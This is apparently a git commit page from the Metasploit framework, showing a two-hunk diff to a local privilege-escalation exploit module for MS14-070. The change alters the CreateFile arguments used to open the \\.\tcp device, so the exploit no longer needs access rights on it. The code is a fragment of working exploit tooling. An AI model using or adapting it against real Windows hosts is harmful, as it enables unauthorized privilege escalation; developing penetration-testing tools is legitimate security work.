Land #4791, fix ms14-070 CreateFile arguments
The arguments to CreateFileA used to require that the user had some level of access on the \\.\tcp device.bug/bundler_fix
commit
fe840635e5
|
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
||||
return Exploit::CheckCode::Safe unless handle
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue